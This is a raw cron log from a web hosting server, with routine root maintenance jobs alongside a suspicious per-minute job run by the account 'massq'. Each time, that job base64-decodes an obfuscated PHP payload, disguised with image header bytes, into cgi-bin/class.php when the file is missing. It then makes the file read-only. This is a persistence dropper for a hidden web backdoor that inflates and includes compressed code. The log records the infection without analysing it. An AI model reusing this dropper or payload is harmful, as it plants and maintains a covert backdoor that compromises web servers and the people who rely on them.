Nov 13 23:10:01 server CROND[393]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:10:01 server CROND[394]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:10:01 server CROND[395]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 23:10:01 server CROND[396]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:11:01 server CROND[1311]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:12:01 server CROND[2180]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:12:01 server CROND[2181]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 23:13:01 server CROND[3047]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:14:01 server CROND[3903]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:15:01 server CROND[4854]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:15:01 server CROND[4855]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:15:01 server CROND[4860]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:16:01 server CROND[5782]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:17:01 server CROND[6638]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:18:01 server CROND[7538]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:19:01 server CROND[8404]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:20:01 server CROND[9100]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 23:20:01 server CROND[9104]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 23:20:01 server CROND[9105]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 23:20:01 server CROND[9106]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 23:20:01 server CROND[9107]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:21:01 server CROND[9835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 23:22:01 server CROND[10704]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
